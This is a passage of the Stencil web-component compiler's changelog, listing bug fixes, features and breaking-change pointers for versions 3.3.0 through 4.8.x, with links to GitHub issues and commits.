([4303d6a](https://github.com/stenciljs/core/commit/4303d6af1bbcd995e3e02891b5e50768e8eeaffd)), closes [#4284](https://github.com/stenciljs/core/issues/4284)\n* **runtime:** update `textContent` patch to mimic Shadow Root ([#5146](https://github.com/stenciljs/core/issues/5146)) ([55c56d6](https://github.com/stenciljs/core/commit/55c56d69a6e7d049bd8da17c6aec54667ec89489)), closes [#3977](https://github.com/stenciljs/core/issues/3977)\n* **testing:** make Puppeteer an optional dependency ([#5145](https://github.com/stenciljs/core/issues/5145)) ([43cf0dc](https://github.com/stenciljs/core/commit/43cf0dc5324fb90547d97a0592c3a2d98e69fb0d))\n\n\n\n## 🍹 [4.8.1](https://github.com/stenciljs/core/compare/v4.8.0...v4.8.1) (2023-12-04)\n\n\n### Bug Fixes\n\n* **runtime:** apply nonce to data styles before DOM insert ([#5112](https://github.com/stenciljs/core/issues/5112)) ([df46fdc](https://github.com/stenciljs/core/commit/df46fdc0cb9168171546e335a5628b25909fdd89)), closes [#5102](https://github.com/stenciljs/core/issues/5102)\n* **runtime:** call form-associated lifecycle callbacks w/ `this` ([#5104](https://github.com/stenciljs/core/issues/5104)) ([1ac8aa3](https://github.com/stenciljs/core/commit/1ac8aa3da139656c82914fda7eb9e8de62cba56d))\n* **testing:** re-add Puppeteer `asElement()` calls ([#5114](https://github.com/stenciljs/core/issues/5114)) ([0c843f8](https://github.com/stenciljs/core/commit/0c843f8d19e6ee04c02ae8699c76c33d5ebb1c70)), closes [#5113](https://github.com/stenciljs/core/issues/5113)\n\n\n\n# 🌞 [4.8.0](https://github.com/stenciljs/core/compare/v4.7.2...v4.8.0) (2023-11-27)\n\n\n### Bug Fixes\n\n* **hydrate:** prevent dead code elimination of patch dom implementation ([#4966](https://github.com/stenciljs/core/issues/4966)) ([5e36057](https://github.com/stenciljs/core/commit/5e3605779589105d6a3da73fcfc2bbe5ceeb5def))\n* **mock-doc:** add `getAttributeNode` to mock elements ([#5070](https://github.com/stenciljs/core/issues/5070)) ([4e840e0](https://github.com/stenciljs/core/commit/4e840e0e0e6af86e1cda551f3ec9e50ac57417fa))\n* **mock-doc:** add inert to HTMLAttributes ([#5072](https://github.com/stenciljs/core/issues/5072)) ([71a4110](https://github.com/stenciljs/core/commit/71a4110bbce310d2f405557acb25de552db4f78f)), closes [#5071](https://github.com/stenciljs/core/issues/5071)\n* **runtime:** apply textnodes to shadow DOM instead of light DOM ([#4946](https://github.com/stenciljs/core/issues/4946)) ([217d588](https://github.com/stenciljs/core/commit/217d58894959d4b05d6dda590f006c35772c321c))\n* **test:** pass jest args correctly for v28/29 ([#5068](https://github.com/stenciljs/core/issues/5068)) ([5c4ac32](https://github.com/stenciljs/core/commit/5c4ac328052c1a1f1c13d6393c3d9875ba3573c1))\n\n\n### Features\n\n* **declarations:** add popover attributes to JSX declarations ([#5064](https://github.com/stenciljs/core/issues/5064)) ([f73aa14](https://github.com/stenciljs/core/commit/f73aa149f06dd3014bfbc2ab7223f8363b859b41))\n* **runtime:** proxy form associated custom element lifecycle callbacks ([#4939](https://github.com/stenciljs/core/issues/4939)) ([ca53dbb](https://github.com/stenciljs/core/commit/ca53dbb02ec4babd2957c12eb1a787eee98d2645))\n\n\n\n## 🐄 [4.7.2](https://github.com/stenciljs/core/compare/v4.7.1...v4.7.2) (2023-11-13)\n\n\n### Bug Fixes\n\n* **compiler:** normalize paths on windows ([#4997](https://github.com/stenciljs/core/issues/4997)) ([bb0b1d4](https://github.com/stenciljs/core/commit/bb0b1d46f63175dc09d0a23445be4d4a0d891a01)), closes [#4980](https://github.com/stenciljs/core/issues/4980) [#4961](https://github.com/stenciljs/core/issues/4961)\n* **runtime:** add display style to slot-fb elements ([#5028](https://github.com/stenciljs/core/issues/5028)) ([72c1f1a](https://github.com/stenciljs/core/commit/72c1f1a352e8b9ce3c965f6dc751e16acd9cb3ae))\n* **test:** don't fail build when jest typings can't be resolved ([#5031](https://github.com/stenciljs/core/issues/5031)) ([5df16e6](https://github.com/stenciljs/core/commit/5df16e69d25db818737a8d827386f8acf3800281)), closes [#5030](https://github.com/stenciljs/core/issues/5030)\n* **vite:** resolve PURE comment warnings ([#5018](https://github.com/stenciljs/core/issues/5018)) ([0a1fbe1](https://github.com/stenciljs/core/commit/0a1fbe144e72acdb28af1fcc208c6a1e6a1fdf73)), closes [#5008](https://github.com/stenciljs/core/issues/5008)\n\n\n\n## 🍿 [4.7.1](https://github.com/stenciljs/core/compare/v4.7.0...v4.7.1) (2023-11-06)\n\n\n### Bug Fixes\n\n* **compiler:** correctly generate CSS rules using `::slotted` outside shadow DOM ([#4969](https://github.com/stenciljs/core/issues/4969)) ([4fd0ecd](https://github.com/stenciljs/core/commit/4fd0ecd17e72f6892c96b8256a0206f6e583be13))\n* **compiler:** ignore TS diagnostics on builds where typedef file changes ([#5013](https://github.com/stenciljs/core/issues/5013)) ([2a75b65](https://github.com/stenciljs/core/commit/2a75b6501f4f76dad0d8fa8304af57be1c04eef1))\n\n\n\n# 💪 [4.7.0](https://github.com/stenciljs/core/compare/v4.6.0...v4.7.0) (2023-10-30)\n\n\n### Bug Fixes\n\n* **runtime:** prevent additional attempted move of slot content ([#4921](https://github.com/stenciljs/core/issues/4921)) ([adb3ccf](https://github.com/stenciljs/core/commit/adb3ccf2d58c4a2f3f97d2dc9fbe8c8fd4daac62))\n* **runtime:** relocate slot content from non-shadow to shadow components w/ slot name change ([#4940](https://github.com/stenciljs/core/issues/4940)) ([0fe78c7](https://github.com/stenciljs/core/commit/0fe78c74ceea857641d0ce1ad7634c4fbd372e8e))\n* **runtime:** slot name forwarding & attribute reset ([#4993](https://github.com/stenciljs/core/issues/4993)) ([ee60f3b](https://github.com/stenciljs/core/commit/ee60f3b33bcd44acb29261ab444c111513cccd4b))\n* **runtime:** slotted content order with sibling elements ([#4994](https://github.com/stenciljs/core/issues/4994)) ([740c1e4](https://github.com/stenciljs/core/commit/740c1e4faaf8bc221a2db32e2923c1efc553fd8b))\n* **runtime:** support \"capture\" style events ([#4968](https://github.com/stenciljs/core/issues/4968)) ([2c8cfac](https://github.com/stenciljs/core/commit/2c8cfac6389730f82bfeff776c5f495cafe0b627))\n* **www:** ensure that files necessary for www build are on disk ([#4992](https://github.com/stenciljs/core/issues/4992)) ([b74220b](https://github.com/stenciljs/core/commit/b74220bed26bfa0c869cf1be0e3ebb5b8527f594))\n* **www:** fix an inconsistency between www builds ([#4983](https://github.com/stenciljs/core/issues/4983)) ([f113b05](https://github.com/stenciljs/core/commit/f113b052af728a0e5dbc96b1cdc443405c277ec1))\n\n\n### Features\n\n* **test:** jest 28 support ([#4979](https://github.com/stenciljs/core/issues/4979)) ([d3aa539](https://github.com/stenciljs/core/commit/d3aa5395b8c6c54ccf9eb90811649749875b5a17))\n* **test:** jest 29 support ([#4981](https://github.com/stenciljs/core/issues/4981)) ([4959295](https://github.com/stenciljs/core/commit/4959295c24ec3effcc8d63a8305dffd6e07a617d))\n\n\n\n# 💥 [4.6.0](https://github.com/stenciljs/core/compare/v4.5.0...v4.6.0) (2023-10-23)\n\n\n### Bug Fixes\n\n* **compiler:** consistently generate additional type files ([#4938](https://github.com/stenciljs/core/issues/4938)) ([70cba50](https://github.com/stenciljs/core/commit/70cba503e881755f5d24d2f23a8e121aedf5a805))\n* **compiler:** persist polyfills on build ([#4932](https://github.com/stenciljs/core/issues/4932)) ([b97dadc](https://github.com/stenciljs/core/commit/b97dadc967b1fde892cb75a544b1eecd2361b194)), closes [#4661](https://github.com/stenciljs/core/issues/4661)\n* **runtime:** add height, width Source attrs ([#4943](https://github.com/stenciljs/core/issues/4943)) ([c9a3eac](https://github.com/stenciljs/core/commit/c9a3eac789c8fe9c6fdb6b7be2037a19ee361c6d)), closes [#4942](https://github.com/stenciljs/core/issues/4942)\n\n\n### Features\n\n* **types:** generate addEventListener and removeEventListener overloads to component html element type ([#4909](https://github.com/stenciljs/core/issues/4909)) ([0249798](https://github.com/stenciljs/core/commit/024979841f7124aa3bcce6a6ecd094dfecf1566c))\n\n\n\n# 📢 [4.5.0](https://github.com/stenciljs/core/compare/v4.4.1...v4.5.0) (2023-10-16)\n\n\n### Features\n\n* **compiler, runtime:** add support for form-associated elements ([#4784](https://github.com/stenciljs/core/issues/4784)) ([5976c9b](https://github.com/stenciljs/core/commit/5976c9b6a6e7b49d470390021b9c31e4d3cbbf4b))\n\n\n\n## ❤️ [4.4.1](https://github.com/stenciljs/core/compare/v4.4.0...v4.4.1) (2023-10-09)\n\n\n### Bug Fixes\n\n* **screenshot:** alert user when toMatchScreenshot uses NaN ([#4891](https://github.com/stenciljs/core/issues/4891)) ([a251946](https://github.com/stenciljs/core/commit/a251946106f116701787853893b3fa53dfaa8c9f))\n\n\n\n# 🍫 [4.4.0](https://github.com/stenciljs/core/compare/v4.3.0...v4.4.0) (2023-10-02)\n\n\n### Bug Fixes\n\n* **jest:** use correct minimum jest version ([#4851](https://github.com/stenciljs/core/issues/4851)) ([2f7fb88](https://github.com/stenciljs/core/commit/2f7fb88dcd75312f658421c4c518fa76292517db))\n\n\n### Features\n\n* **typescript:** upgrade to TypeScript 5.2 ([#4852](https://github.com/stenciljs/core/issues/4852)) ([b589a07](https://github.com/stenciljs/core/commit/b589a07188a956dbde858bab2b6abf1ad7a1e65b))\n\n\n\n# 🐫 [4.3.0](https://github.com/stenciljs/core/compare/v4.2.1...v4.3.0) (2023-09-18)\n\n\n### Bug Fixes\n\n* **compiler:** restrict config extras slot fix flags ([#4767](https://github.com/stenciljs/core/issues/4767)) ([f2c3229](https://github.com/stenciljs/core/commit/f2c322959c13400b1a17bb698ae3ee37295ab08d))\n* **test:** ensure legacy decorators are used when using transpile ([#4771](https://github.com/stenciljs/core/issues/4771)) ([2ef9ec7](https://github.com/stenciljs/core/commit/2ef9ec7549930ef2b9fcfeba11374c8a543ed36f))\n\n\n### Features\n\n* **compiler:** computed properties can be used with Stencil decorators ([#4746](https://github.com/stenciljs/core/issues/4746)) ([a848269](https://github.com/stenciljs/core/commit/a848269f9883d68a44237caae469cd8a3ba5fa65))\n* **runtime:** watch native HTML attributes ([#4760](https://github.com/stenciljs/core/issues/4760)) ([fc86c23](https://github.com/stenciljs/core/commit/fc86c23e3bf690b19fa84d8bb34e7da4598291dc))\n\n\n\n## 😀 [4.2.1](https://github.com/stenciljs/core/compare/v4.2.0...v4.2.1) (2023-09-11)\n\n\n### Bug Fixes\n\n* **compiler:** add heritage clauses earlier in native transform ([#4769](https://github.com/stenciljs/core/issues/4769)) ([9a92ad1](https://github.com/stenciljs/core/commit/9a92ad12f628a5c2eae3048bda983fed2bc140b5))\n\n\n\n# 🌲 [4.2.0](https://github.com/stenciljs/core/compare/v4.2.0-0...v4.2.0) (2023-09-05)\n\n\n### Bug Fixes\n\n* **compiler:** resolve implicit enum types ([#4739](https://github.com/stenciljs/core/issues/4739)) ([f5a3bd8](https://github.com/stenciljs/core/commit/f5a3bd8739a4b9eab3b8b9b1f9c808c47b2aa4fc))\n* **runtime:** patch methods for scoped slot `append`, `prepend`, and `insertAdjacent` ([#4719](https://github.com/stenciljs/core/issues/4719)) ([1d98462](https://github.com/stenciljs/core/commit/1d98462135a196b9d9037dd46f0e7fe55d108496))\n\n\n### Features\n* **typescript:** upgrade to TypeScript 5.1 ([#4718](https://github.com/stenciljs/core/pull/4718)) ([49df0e7](https://github.com/stenciljs/core/commit/49df0e7b9bc1862d690e3239404243de1c838d6d))\n\n\n\n# ⚽️ [4.2.0-0](https://github.com/stenciljs/core/compare/v4.1.0...v4.2.0-0) (2023-09-05)\n\n\n### Bug Fixes\n\n* **compiler:** resolve implicit enum types ([#4739](https://github.com/stenciljs/core/issues/4739)) ([f5a3bd8](https://github.com/stenciljs/core/commit/f5a3bd8739a4b9eab3b8b9b1f9c808c47b2aa4fc))\n* **runtime:** patch methods for scoped slot `append`, `prepend`, and `insertAdjacent` ([#4719](https://github.com/stenciljs/core/issues/4719)) ([1d98462](https://github.com/stenciljs/core/commit/1d98462135a196b9d9037dd46f0e7fe55d108496))\n\n\n### Features\n* **typescript:** upgrade to TypeScript 5.1 ([#4718](https://github.com/stenciljs/core/pull/4718)) ([49df0e7](https://github.com/stenciljs/core/commit/49df0e7b9bc1862d690e3239404243de1c838d6d))\n\n\n\n# 🐟 [4.1.0](https://github.com/stenciljs/core/compare/v4.0.5...v4.1.0) (2023-08-21)\n\n\n### Bug Fixes\n\n* **runtime:** adds a testing check to the forceUpdate method ([#4682](https://github.com/stenciljs/core/issues/4682)) ([7e9544d](https://github.com/stenciljs/core/commit/7e9544d4c9c586d9bdd969a0ae9a6a0bb7681d90))\n* **typings:** add crossorigin html attr to img ([#4686](https://github.com/stenciljs/core/issues/4686)) ([65d60fb](https://github.com/stenciljs/core/commit/65d60fbef16efd35f5680787c0e72a4b4b410a2b)), closes [#4685](https://github.com/stenciljs/core/issues/4685)\n\n\n### Features\n\n* **compiler:** include `getAssetPath` in generated export statement ([#4683](https://github.com/stenciljs/core/issues/4683)) ([821da79](https://github.com/stenciljs/core/commit/821da79c3b4e32f8580257f45bea4733577c08f3))\n* **config:** add experimentalSlotFixes config value ([#4652](https://github.com/stenciljs/core/issues/4652)) ([392af26](https://github.com/stenciljs/core/commit/392af26f08a8c2b08b90d367a30e737f6612b979))\n\n\n\n## 🚣 [4.0.5](https://github.com/stenciljs/core/compare/v4.0.4...v4.0.5) (2023-08-14)\n\n\n### Bug Fixes\n\n* **compiler:** match tsconfig include paths properly ([#4676](https://github.com/stenciljs/core/issues/4676)) ([664ecb7](https://github.com/stenciljs/core/commit/664ecb78cba3a267fa436cada551d878655cd2ab)), closes [#4667](https://github.com/stenciljs/core/issues/4667)\n\n\n\n## 🍧 [4.0.4](https://github.com/stenciljs/core/compare/v4.0.3...v4.0.4) (2023-08-07)\n\n\n### Bug Fixes\n\n* **runtime:** `forceUpdate` calls only execute when in a browser env ([#4591](https://github.com/stenciljs/core/issues/4591)) ([b203263](https://github.com/stenciljs/core/commit/b203263482140fde31edfb7a91ac6054f5f98460))\n* **typings:** add additional transition events to DOMAttributes ([#4645](https://github.com/stenciljs/core/issues/4645)) ([420052f](https://github.com/stenciljs/core/commit/420052f26b9429906476584f174493d1d42db9ac)), closes [#4643](https://github.com/stenciljs/core/issues/4643)\n\n\n\n## 🎾 [4.0.3](https://github.com/stenciljs/core/compare/v4.0.2...v4.0.3) (2023-07-31)\n\n\n### Bug Fixes\n\n* **compiler:** custom elements relative typedef import paths ([#4633](https://github.com/stenciljs/core/issues/4633)) ([feba98c](https://github.com/stenciljs/core/commit/feba98c35bab96ee0e7c72617a2f3a20c4bf7b72))\n* **docs-json:** use dts-bundle-generator to bundle types for docs-json ([#4619](https://github.com/stenciljs/core/issues/4619)) ([6ba3249](https://github.com/stenciljs/core/commit/6ba3249cab485f09ab6e16d4eb63076d40a564a0))\n* **runtime:** add onSelect to textarea and input ([#4616](https://github.com/stenciljs/core/issues/4616)) ([8ae64f2](https://github.com/stenciljs/core/commit/8ae64f21a046c88204f785519e3b59fbe1670612))\n* **runtime:** handle lazy-instance promises for connected & disconnected callbacks ([#4072](https://github.com/stenciljs/core/issues/4072)) ([dffc5bb](https://github.com/stenciljs/core/commit/dffc5bb4c3c6f19274051a4953601e2af5ac6f95))\n* **runtime:** override attrs set on Host with values from host element ([#4548](https://github.com/stenciljs/core/issues/4548)) ([b088b9e](https://github.com/stenciljs/core/commit/b088b9e48d8c4799cfa2b7210f4bc9feb4d6ef94))\n* **testing:** remove use of `emulate` field in `E2EPage()` ([#4632](https://github.com/stenciljs/core/issues/4632)) ([4d7b138](https://github.com/stenciljs/core/commit/4d7b138a6d57509d8ecc25c5b9cbb7932752881c))\n\n\n\n## 😈 [4.0.2](https://github.com/stenciljs/core/compare/v4.0.1...v4.0.2) (2023-07-24)\n\n\n### Bug Fixes\n\n* **compiler:** ensures transformed paths are relative paths for `dist-collection` ([#4552](https://github.com/stenciljs/core/issues/4552)) ([e11ac0e](https://github.com/stenciljs/core/commit/e11ac0e52f8ed1e3bc605779d893df3d4e767957))\n* **compiler:** handle `@supports` blocks when scoping css ([#4572](https://github.com/stenciljs/core/issues/4572)) ([18ed5fc](https://github.com/stenciljs/core/commit/18ed5fc0a8828c3df4a5b31e2778ceda48f49730))\n* **compiler:** only create one class member when transforming `@Element()` decorators ([#4547](https://github.com/stenciljs/core/issues/4547)) ([13fac03](https://github.com/stenciljs/core/commit/13fac0399fd08672832adb52ee3caed57aef2f2f))\n* **compiler:** sourcemap errors for dist-custom-elements + dist-hydrate-script ([#4527](https://github.com/stenciljs/core/issues/4527)) ([1d79672](https://github.com/stenciljs/core/commit/1d79672809dcaa3b56ec3761e46f9d1ef51915ad))\n* **compiler:** sourcemap generation without ext runtime ([#4570](https://github.com/stenciljs/core/issues/4570)) ([d1be334](https://github.com/stenciljs/core/commit/d1be334b5ed12381eafbcd05ab56029a9366a21d))\n* **lazy:** adjust the type of `defineCustomElements` ([#4592](https://github.com/stenciljs/core/issues/4592)) ([5c85c33](https://github.com/stenciljs/core/commit/5c85c332a7390b30fdba1d8598e618e5bf0f2b59))\n* **mock-doc:** adjust matchMedia mock return ([#4509](https://github.com/stenciljs/core/issues/4509)) ([3cda014](https://github.com/stenciljs/core/commit/3cda014035412c775f2b03b4feda337944907b8f))\n* **output-targets:** fix path normalization logic ([#4545](https://github.com/stenciljs/core/issues/4545)) ([cd5849c](https://github.com/stenciljs/core/commit/cd5849c6e1853750adde2b71791ca825f38f730d))\n* **rollup-config:** deprecate BundlingConfig#namedExports ([#4532](https://github.com/stenciljs/core/issues/4532)) ([a353769](https://github.com/stenciljs/core/commit/a353769b0094cd502a9ce35f797f74c7dc1d9232)), closes [#2523](https://github.com/stenciljs/core/issues/2523)\n* **runtime:** properly type color-interpolation-filter ([#4530](https://github.com/stenciljs/core/issues/4530)) ([3ccf753](https://github.com/stenciljs/core/commit/3ccf753f13ced6fa1339850882919192e912da30))\n\n\n### Thanks\n\n🎉 Thanks for @bdriguesdev for their contributions! 🎉\n\n\n## ⛹ [4.0.1](https://github.com/stenciljs/core/compare/v4.0.0...v4.0.1) (2023-06-28)\n\n\n### Bug Fixes\n\n* **compiler:** address when a home module cannot be found ([#4521](https://github.com/stenciljs/core/issues/4521)) ([06eaa8f](https://github.com/stenciljs/core/commit/06eaa8f4edbf83e48be1e83b7b5db4e7b48e5918))\n* **compiler:** normalize recommended `collection` path for `package.json` validation ([#4522](https://github.com/stenciljs/core/issues/4522)) ([af9639c](https://github.com/stenciljs/core/commit/af9639c8c286a8863f7f384f38a7efaa9ec8fafa))\n\n\n\n# 🐅 [4.0.0](https://github.com/stenciljs/core/compare/v3.4.1...v4.0.0) (2023-06-26)\n\n\n### Bug Fixes\n\n* **compiler:** re-enable build caching ([#4503](https://github.com/stenciljs/core/issues/4503)) ([5c34609](https://github.com/stenciljs/core/commit/5c346098b0d4567702d4cb9607b484037fc69531))\n\n\n### Features\n\n* **compiler:** remove in-browser compilation support ([#4317](https://github.com/stenciljs/core/issues/4317)) ([b042d8b](https://github.com/stenciljs/core/commit/b042d8b6e02c2df09a920db14abe551879cde5a2))\n* **compiler:** primary package output target validation ([#4395](https://github.com/stenciljs/core/issues/4395)) ([e53ee07](https://github.com/stenciljs/core/commit/e53ee076547c834f3867f866925d04eab0739b0d))\n* **compiler** remove shadow dom shim ([#4440](https://github.com/stenciljs/core/pull/4440)) ([8ecdec9](https://github.com/stenciljs/core/commit/8ecdec9fafffa7d3ca5cc9621e26481c70cfbb89))\n* **compiler** remove CSS var shim & patchEsm() ([#4419](https://github.com/stenciljs/core/pull/4419)) ([4977f38](https://github.com/stenciljs/core/commit/4977f38f6b248f1e9644f2fc78d255b4ef7bbb03))\n* **compiler** remove safari10 extra flag ([#4421](https://github.com/stenciljs/core/pull/4421)) ([283fd5c](https://github.com/stenciljs/core/commit/283fd5c1bf93a4f89c84127c49c26c34559da644))\n* **compiler** remove dynamicImportShim ([#4420](https://github.com/stenciljs/core/pull/4420)) ([3ee20b7](https://github.com/stenciljs/core/commit/3ee20b7aa9704de5811f7fec7c517012b88ed5b6))\n* **config:** set new defaults for transformAliasedImportPaths ([#4418](https://github.com/stenciljs/core/issues/4418)) ([52d4209](https://github.com/stenciljs/core/commit/52d4209b6f211a329555e1ca5eccc0883fecfd32))\n* **docs:** enrich type information for docs-json Output Target ([#4212](https://github.com/stenciljs/core/issues/4212)) ([7c0511e](https://github.com/stenciljs/core/commit/7c0511ef1fa5a30fbe9c60e987855fea64be87f5))\n* **runtime:** drop Node 14 support ([#4472](https://github.com/stenciljs/core/issues/4472)) ([ce18945](https://github.com/stenciljs/core/commit/ce189456bd601c647bb47871ccd5897707d48ee0))\n* **props:** removal of deprecated connect and context APIs ([#4437](https://github.com/stenciljs/core/issues/4437)) ([4691e9f](https://github.com/stenciljs/core/commit/4691e9f1e6b98008bbf557953ec844b987a98808))\n\n### BREAKING CHANGES\n\nSee [BREAKING_CHANGES.md - v4.0.0](./BREAKING_CHANGES.md#stencil-v400) for a comprehensive list of breaking changes.\n\nSee [the v4.0.0 Migration Guide](https://stenciljs.com/docs/introduction/upgrading-to-stencil-four) for a guide to migrate to Stencil v4.0.0.\n\n### Additional Changes\n\nThis release includes the latest changes from Stencil v3.4.1.\n\n\n# 🍜 [4.0.0-rc.0](https://github.com/stenciljs/core/compare/v3.4.0...v4.0.0-rc.0) (2023-06-16)\n\n\n### Features\n\nThe following changes are new to this release:\n\n* **props:** removal of deprecated connect and context APIs ([#4437](https://github.com/stenciljs/core/issues/4437)) ([f399ef1](https://github.com/stenciljs/core/commit/f399ef162e8db8046e39d6f3c6aa4a589ee68ca6))\n* **runtime:** drop Node 14 support ([#4472](https://github.com/stenciljs/core/issues/4472)) ([ce18945](https://github.com/stenciljs/core/commit/ce189456bd601c647bb47871ccd5897707d48ee0))\n\nThe following changes are also present from previous beta releases:\n\n* **compiler:** remove in-browser compilation support ([#4317](https://github.com/stenciljs/core/issues/4317)) ([b042d8b](https://github.com/stenciljs/core/commit/b042d8b6e02c2df09a920db14abe551879cde5a2))\n* **compiler:** primary package output target validation ([#4395](https://github.com/stenciljs/core/issues/4395)) ([e53ee07](https://github.com/stenciljs/core/commit/e53ee076547c834f3867f866925d04eab0739b0d))\n* **compiler** remove shadow dom shim ([#4440](https://github.com/stenciljs/core/pull/4440)) ([8ecdec9](https://github.com/stenciljs/core/commit/8ecdec9fafffa7d3ca5cc9621e26481c70cfbb89))\n* **compiler** remove CSS var shim & patchEsm() ([#4419](https://github.com/stenciljs/core/pull/4419)) ([4977f38](https://github.com/stenciljs/core/commit/4977f38f6b248f1e9644f2fc78d255b4ef7bbb03))\n* **compiler** remove safari10 extra flag ([#4421](https://github.com/stenciljs/core/pull/4421)) ([283fd5c](https://github.com/stenciljs/core/commit/283fd5c1bf93a4f89c84127c49c26c34559da644))\n* **compiler** remove dynamicImportShim ([#4420](https://github.com/stenciljs/core/pull/4420)) ([3ee20b7](https://github.com/stenciljs/core/commit/3ee20b7aa9704de5811f7fec7c517012b88ed5b6))\n\n\n### BREAKING CHANGES\n\nSee [BREAKING_CHANGES.md - v4.0.0](./BREAKING_CHANGES.md#stencil-v400) for a comprehensive list of breaking changes.\n\nSee [the v4.0.0 Migration Guide](https://stenciljs.com/docs/introduction/upgrading-to-stencil-four) for a guide to migrate to Stencil v4.0.0.\n\n### Additional Changes\n\nThis release includes the latest changes from Stencil v3.4.0.\n\n\n\n# 👻 [4.0.0-beta.2](https://github.com/stenciljs/core/compare/v3.3.1...v4.0.0-beta.2) (2023-06-07)\n\n\n### Features\n\n* **compiler:** remove in-browser compilation support ([#4317](https://github.com/stenciljs/core/issues/4317)) ([b042d8b](https://github.com/stenciljs/core/commit/b042d8b6e02c2df09a920db14abe551879cde5a2))\n* **compiler:** primary package output target validation ([#4395](https://github.com/stenciljs/core/issues/4395)) ([e53ee07](https://github.com/stenciljs/core/commit/e53ee076547c834f3867f866925d04eab0739b0d))\n\n### BREAKING CHANGES\n\nSee [BREAKING_CHANGES.md - v4.0.0](./BREAKING_CHANGES.md#stencil-v400) for a comprehensive list of breaking changes.\n\nSee [the v4.0.0 Migration Guide](https://stenciljs.com/docs/introduction/upgrading-to-stencil-four) for a guide to migrate to Stencil v4.0.0.\n\n### Additional Changes\n\nThis release includes the latest changes from Stencil v3.3.1.\n\n\n# 🐐 [4.0.0-beta.1](https://github.com/stenciljs/core/compare/v3.3.1...v4.0.0-beta.1) (2023-06-02)\n\n### Features\n\n* **compiler** remove shadow dom shim ([#4440](https://github.com/stenciljs/core/pull/4440)) ([8ecdec9](https://github.com/stenciljs/core/commit/8ecdec9fafffa7d3ca5cc9621e26481c70cfbb89))\n\n### BREAKING CHANGES\n\nSee [BREAKING_CHANGES.md - v4.0.0](./BREAKING_CHANGES.md#stencil-v400) for a comprehensive list of breaking changes.\n\nSee [the v4.0.0 Migration Guide](https://stenciljs.com/docs/introduction/upgrading-to-stencil-four) for a guide to migrate to Stencil v4.0.0.\n\n### Additional Changes\n\nThis release includes the latest changes from Stencil v3.3.1.\n\n# 🎬 [4.0.0-beta.0](https://github.com/stenciljs/core/compare/v3.3.0...v4.0.0-beta.0) (2023-05-30)\n\n\n### Bug Fixes\n\n* **e2e:** honor devtools and browserDevtools settings ([#4403](https://github.com/stenciljs/core/issues/4403)) ([fe433b6](https://github.com/stenciljs/core/commit/fe433b6005ac3e544501ab9d6c481864c84b20f2))\n\n\n### Features\n\n* **compiler** remove CSS var shim & patchEsm() ([#4419](https://github.com/stenciljs/core/pull/4419)) ([4977f38](https://github.com/stenciljs/core/commit/4977f38f6b248f1e9644f2fc78d255b4ef7bbb03))\n* **compiler** remove safari10 extra flag ([#4421](https://github.com/stenciljs/core/pull/4421)) ([283fd5c](https://github.com/stenciljs/core/commit/283fd5c1bf93a4f89c84127c49c26c34559da644))\n* **compiler** remove dynamicImportShim ([#4420](https://github.com/stenciljs/core/pull/4420)) ([3ee20b7](https://github.com/stenciljs/core/commit/3ee20b7aa9704de5811f7fec7c517012b88ed5b6))\n\n### BREAKING CHANGES\n\nSee [BREAKING_CHANGES.md - v4.0.0](./BREAKING_CHANGES.md#stencil-v400) for a comprehensive list of breaking changes.\n\nSee [the v4.0.0 Migration Guide](https://stenciljs.com/docs/introduction/upgrading-to-stencil-four) for a guide to migrate to Stencil v4.0.0.\n\n\n## ☀️ [3.4.2](https://github.com/stenciljs/core/compare/v3.4.1...v3.4.2) (2023-07-24)\n\n\n### Bug Fixes\n\n* **compiler:** ensures transformed paths are relative paths for `dist-collection` (v3) ([#4553](https://github.com/stenciljs/core/issues/4553)) ([2d3e0d3](https://github.com/stenciljs/core/commit/2d3e0d30507ad251b88b3381de8828a95a0057d0))\n\n\n## 🐨 [3.4.1](https://github.com/stenciljs/core/compare/v3.4.0...v3.4.1) (2023-06-26)\n\n\n### Bug Fixes\n\n* **compiler:** fix issue with aliased paths getting cut off ([#4481](https://github.com/stenciljs/core/issues/4481)) ([1a2c160](https://github.com/stenciljs/core/commit/1a2c1608a41bbe0420ec066d2bf56f32ed6613b8))\n* **compiler:** reorder tsconfig#path transforms ([#4501](https://github.com/stenciljs/core/issues/4501)) ([6b4fe58](https://github.com/stenciljs/core/commit/6b4fe58deeb1cf9097763aec3bbb3ee7a56afec9))\n\n\n\n# ✨ [3.4.0](https://github.com/stenciljs/core/compare/v3.3.1...v3.4.0) (2023-06-13)\n\n\n### Bug Fixes\n\n* **compiler:** handle static members with stencil decorators ([#4463](https://github.com/stenciljs/core/issues/4463)) ([dc3925e](https://github.com/stenciljs/core/commit/dc3925e86d27d4f7360d0b7d398a251f60042265))\n* **runtime:** add autocomplete to textarea ([#4465](https://github.com/stenciljs/core/issues/4465)) ([7f42430](https://github.com/stenciljs/core/commit/7f42430196d1bb9c928df9f0dbd0bfebcd20d01a))\n* **runtime:** issue with update-component and patched Promise ([#4460](https://github.com/stenciljs/core/issues/4460)) ([1187694](https://github.com/stenciljs/core/commit/1187694f4ccfc5911d352d6770dafa5b46a29432))\n\n\n### Features\n\n* **compiler:** primary package output target validation ([#4395](https://github.com/stenciljs/core/issues/4395)) ([e53ee07](https://github.com/stenciljs/core/commit/e53ee076547c834f3867f866925d04eab0739b0d))\n\n\n\n## 🎀 [3.3.1](https://github.com/stenciljs/core/compare/v3.3.0...v3.3.1) (2023-06-02)\n\n\n### Bug Fixes\n\n* **compiler:** handle ts 5.0 static members ([#4447](https://github.com/stenciljs/core/issues/4447)) ([6dbe9a5](https://github.com/stenciljs/core/commit/6dbe9a5b4548ddb2cd08b389509f22f9895639f9)), closes [#4424](https://github.com/stenciljs/core/issues/4424)\n* **e2e:** honor devtools and browserDevtools settings ([#4403](https://github.com/stenciljs/core/issues/4403)) ([fe433b6](https://github.com/stenciljs/core/commit/fe433b6005ac3e544501ab9d6c481864c84b20f2)), closes [#2537](https://github.com/stenciljs/core/issues/2537)\n\n\n\n# 🍭 [3.3.0](https://github.com/stenciljs/core/compare/v3.2.2...v3.3.0) (2023-05-23)\n\n\n### Bug Fixes\n\n* **compiler:** components typedef path aliases ([#4365](https://github.com/stenciljs/core/issues/4365)) ([fd63c17](https://github.com/stenciljs/core/commit/fd63c1779a2b4889be536e23ad763199f02d861d))\n\n\n### Features\n\n* **node** add support for node v20 ([#4368](https://github.com/stenciljs/core/pull/4368)) ([ffe1847](https://github.com/stenciljs/core/commit/ffe1847062ccae0e2b525ac290e3ac977e3ad6a3))\n* **testing:** support puppeteer's 'headless': 'new' ([#4356](https://github.com/stenciljs/core/issues/4356)) ([79dc015](https://github.com/stenciljs/core/commit/79dc0159d216824d623e34f814dfeb32474a1550))\n* **typescript:** upgrade to TypeScript 5 